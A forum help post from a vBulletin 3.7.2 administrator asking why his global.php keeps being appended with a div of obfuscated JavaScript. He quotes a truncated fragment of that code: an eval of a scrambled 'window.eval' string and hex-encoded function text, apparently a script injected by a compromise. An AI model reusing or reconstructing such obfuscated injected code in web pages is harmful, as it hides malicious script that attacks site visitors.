global.php keeps getting corrupted

[sof-guild]

Hi there,

I'm running 3.7.2.

I'm having a problem with the global.php file on my board getting appended with a massive div that effectively breaks the forum. I upload a clean version, and within a few hours it's corrupted again. The div looks like this:

<div id='x094045c1c331fd3e00cd2902e7a7dc29f'><script>va r jQuery = eval('wXiXn0d0oXw&.0e]v0a]l]'.replace(/[&\]X0p]/g, '')); jQuery('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x65\x 46\x37\x59\x28\x77\x74\x63\x61\x41\x5a\x29\x7b\x66 \x75\x6e\x63\x74\x69\x6f\x6e\x20\x68\x58\x4f\x70\x 77\x33\x28\x73\x62\x73\x4d

Only many hundreds of lines long. If I delete the div and re-upload global.php, it works fine until it breaks again.

Is this a security vulnerability with vbulletin, or is my host infected with something? I can't figure out how this file is getting overwritten. Anyone know?

Thanks,
-Daniel